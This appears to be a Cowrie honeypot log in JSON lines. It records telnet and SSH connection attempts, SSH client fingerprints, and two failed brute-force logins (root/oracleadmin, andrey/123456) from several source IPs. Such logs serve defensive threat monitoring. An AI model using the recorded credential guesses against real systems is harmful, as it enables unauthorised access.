{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36178,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba30590e8949","protocol":"telnet","message":"New connection: 209.159.146.115:36178 (159.203.135.109:23) [session: ba30590e8949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:56.183866Z"}
{"eventid":"cowrie.session.closed","duration":37.076152086257935,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:56.279820Z","src_ip":"209.159.146.115","session":"0ca4bc03d3c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40804,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a5b2e64af74","protocol":"telnet","message":"New connection: 209.159.146.115:40804 (159.203.135.109:23) [session: 3a5b2e64af74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:57.482210Z"}
{"eventid":"cowrie.session.closed","duration":33.32424545288086,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:58.191725Z","src_ip":"209.159.146.115","session":"7c098c363188","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20760726928711,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:58.496378Z","src_ip":"209.159.146.115","session":"7a63c3794a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6548285484314,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:58.503722Z","src_ip":"209.159.146.115","session":"215477adc694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":35146,"dst_ip":"159.203.135.109","dst_port":22,"session":"25d7d3128249","protocol":"ssh","message":"New connection: 103.180.212.135:35146 (159.203.135.109:22) [session: 25d7d3128249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:58.593973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:58.598370Z","src_ip":"103.180.212.135","session":"25d7d3128249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:58.794210Z","src_ip":"103.180.212.135","session":"25d7d3128249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracleadmin","message":"login attempt [root/oracleadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:41:59.612818Z","src_ip":"103.180.212.135","session":"25d7d3128249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.549647331237793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:00.278450Z","src_ip":"209.159.146.115","session":"48d0c41e7ff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:00.809842Z","src_ip":"103.180.212.135","session":"25d7d3128249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a718e45af1e","protocol":"telnet","message":"New connection: 185.26.126.47:49194 (159.203.135.109:23) [session: 3a718e45af1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:01.239645Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59764,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3161a49b564","protocol":"telnet","message":"New connection: 209.159.146.115:59764 (159.203.135.109:23) [session: f3161a49b564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:01.444619Z"}
{"eventid":"cowrie.session.closed","duration":33.16744589805603,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:03.292980Z","src_ip":"209.159.146.115","session":"0b64b58f7f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47092,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0837adc1c94","protocol":"telnet","message":"New connection: 209.159.146.115:47092 (159.203.135.109:23) [session: e0837adc1c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:04.109249Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52110,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ff08e9e90be","protocol":"telnet","message":"New connection: 209.159.146.115:52110 (159.203.135.109:23) [session: 4ff08e9e90be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:05.002246Z"}
{"eventid":"cowrie.session.closed","duration":32.18078422546387,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:05.021315Z","src_ip":"209.159.146.115","session":"655e0931b48e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57029342651367,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:06.199929Z","src_ip":"209.159.146.115","session":"2a848b07a714","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55656,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4cb48a8d90c","protocol":"telnet","message":"New connection: 209.159.146.115:55656 (159.203.135.109:23) [session: c4cb48a8d90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:06.364066Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58064,"dst_ip":"159.203.135.109","dst_port":23,"session":"abeebe061587","protocol":"telnet","message":"New connection: 209.159.146.115:58064 (159.203.135.109:23) [session: abeebe061587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:06.943873Z"}
{"eventid":"cowrie.session.closed","duration":31.87269425392151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:07.671438Z","src_ip":"209.159.146.115","session":"bb0ec66ce7a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.0794837474823,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:10.990208Z","src_ip":"185.26.126.47","session":"380046864048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.491718769073486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:11.688605Z","src_ip":"209.159.146.115","session":"ee43385e8c3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50926,"dst_ip":"159.203.135.109","dst_port":23,"session":"545051766347","protocol":"telnet","message":"New connection: 209.159.146.115:50926 (159.203.135.109:23) [session: 545051766347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:11.766647Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52776,"dst_ip":"159.203.135.109","dst_port":23,"session":"80341d286cb9","protocol":"telnet","message":"New connection: 209.159.146.115:52776 (159.203.135.109:23) [session: 80341d286cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:12.241033Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43770,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a90e4fa03ff","protocol":"telnet","message":"New connection: 209.159.146.115:43770 (159.203.135.109:23) [session: 9a90e4fa03ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:12.647717Z"}
{"eventid":"cowrie.session.closed","duration":34.48801946640015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:15.650943Z","src_ip":"209.159.146.115","session":"dd39bf0e3c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.12421154975891,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:16.885557Z","src_ip":"209.159.146.115","session":"3087c5d38f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42744,"dst_ip":"159.203.135.109","dst_port":22,"session":"49415b287e3b","protocol":"ssh","message":"New connection: 159.203.92.129:42744 (159.203.135.109:22) [session: 49415b287e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:17.562743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:17.567416Z","src_ip":"159.203.92.129","session":"49415b287e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:17.572120Z","src_ip":"159.203.92.129","session":"49415b287e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"123456","message":"login attempt [andrey/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:17.583029Z","src_ip":"159.203.92.129","session":"49415b287e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:18.589731Z","src_ip":"159.203.92.129","session":"49415b287e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53176,"dst_ip":"159.203.135.109","dst_port":23,"session":"961deda41234","protocol":"telnet","message":"New connection: 209.159.146.115:53176 (159.203.135.109:23) [session: 961deda41234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:19.859613Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44116,"dst_ip":"159.203.135.109","dst_port":23,"session":"9644d2db8365","protocol":"telnet","message":"New connection: 209.159.146.115:44116 (159.203.135.109:23) [session: 9644d2db8365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:23.157287Z"}
{"eventid":"cowrie.session.closed","duration":33.46611785888672,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:24.504758Z","src_ip":"209.159.146.115","session":"ad867e175885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.959508419036865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:24.556483Z","src_ip":"209.159.146.115","session":"2d7f39eea4b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32023787498474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:24.859753Z","src_ip":"209.159.146.115","session":"8da07fae280c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17031145095825,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:24.905206Z","src_ip":"209.159.146.115","session":"e1838e012b0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54858,"dst_ip":"159.203.135.109","dst_port":23,"session":"181f2a1f47fd","protocol":"telnet","message":"New connection: 209.159.146.115:54858 (159.203.135.109:23) [session: 181f2a1f47fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:25.144080Z"}
{"eventid":"cowrie.session.closed","duration":34.547733545303345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:26.741538Z","src_ip":"209.159.146.115","session":"2771fde27f54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.136738538742065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:26.874978Z","src_ip":"209.159.146.115","session":"c135b0399c61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52682614326477,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:26.879777Z","src_ip":"209.159.146.115","session":"02ecef7a4beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40464,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d450920e557","protocol":"telnet","message":"New connection: 209.159.146.115:40464 (159.203.135.109:23) [session: 2d450920e557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:27.935958Z"}
{"eventid":"cowrie.session.closed","duration":33.153584003448486,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:29.256230Z","src_ip":"209.159.146.115","session":"128a602e3a1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.410425424575806,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:31.066854Z","src_ip":"209.159.146.115","session":"07f5670fb583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58154,"dst_ip":"159.203.135.109","dst_port":23,"session":"12983f3b00f2","protocol":"telnet","message":"New connection: 209.159.146.115:58154 (159.203.135.109:23) [session: 12983f3b00f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:31.140871Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58182,"dst_ip":"159.203.135.109","dst_port":23,"session":"6687ff00ba32","protocol":"telnet","message":"New connection: 209.159.146.115:58182 (159.203.135.109:23) [session: 6687ff00ba32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:31.146259Z"}
{"eventid":"cowrie.session.closed","duration":33.79256725311279,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:31.274663Z","src_ip":"209.159.146.115","session":"3a5b2e64af74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66555976867676,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:31.849331Z","src_ip":"209.159.146.115","session":"ba30590e8949","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45606,"dst_ip":"159.203.135.109","dst_port":23,"session":"82ff942151cb","protocol":"telnet","message":"New connection: 209.159.146.115:45606 (159.203.135.109:23) [session: 82ff942151cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:33.584519Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57964,"dst_ip":"159.203.135.109","dst_port":23,"session":"06a87a309c6e","protocol":"telnet","message":"New connection: 209.159.146.115:57964 (159.203.135.109:23) [session: 06a87a309c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:36.320777Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57994,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bdec60ff82d","protocol":"telnet","message":"New connection: 209.159.146.115:57994 (159.203.135.109:23) [session: 1bdec60ff82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:36.324471Z"}
{"eventid":"cowrie.session.closed","duration":32.23941493034363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:37.241515Z","src_ip":"209.159.146.115","session":"4ff08e9e90be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.644094705581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:38.008075Z","src_ip":"209.159.146.115","session":"c4cb48a8d90c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.99574112892151,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:38.444640Z","src_ip":"209.159.146.115","session":"f3161a49b564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.499584674835205,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:38.608720Z","src_ip":"209.159.146.115","session":"e0837adc1c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.38760495185852,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:39.627123Z","src_ip":"185.26.126.47","session":"3a718e45af1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9564745426178,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:40.900242Z","src_ip":"209.159.146.115","session":"abeebe061587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57968,"dst_ip":"159.203.135.109","dst_port":23,"session":"697d34db7d4b","protocol":"telnet","message":"New connection: 209.159.146.115:57968 (159.203.135.109:23) [session: 697d34db7d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:43.285535Z"}
{"eventid":"cowrie.session.closed","duration":31.215240716934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:43.862861Z","src_ip":"209.159.146.115","session":"9a90e4fa03ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23434615135193,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:45.475259Z","src_ip":"209.159.146.115","session":"80341d286cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0bf8fde96d5","protocol":"telnet","message":"New connection: 209.159.146.115:41722 (159.203.135.109:23) [session: c0bf8fde96d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:45.588908Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35090,"dst_ip":"159.203.135.109","dst_port":23,"session":"6346ed2bc8fb","protocol":"telnet","message":"New connection: 209.159.146.115:35090 (159.203.135.109:23) [session: 6346ed2bc8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:50.757141Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47008,"dst_ip":"159.203.135.109","dst_port":23,"session":"e016bb6106b3","protocol":"telnet","message":"New connection: 209.159.146.115:47008 (159.203.135.109:23) [session: e016bb6106b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:52.991343Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48126,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47a6118df15","protocol":"telnet","message":"New connection: 209.159.146.115:48126 (159.203.135.109:23) [session: a47a6118df15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:53.441939Z"}
{"eventid":"cowrie.session.closed","duration":33.654869556427,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:53.514364Z","src_ip":"209.159.146.115","session":"961deda41234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":47524,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b11bd23a1f","protocol":"ssh","message":"New connection: 103.180.212.135:47524 (159.203.135.109:22) [session: b2b11bd23a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:54.306583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:54.311036Z","src_ip":"103.180.212.135","session":"b2b11bd23a1f","protocol":"ssh"}
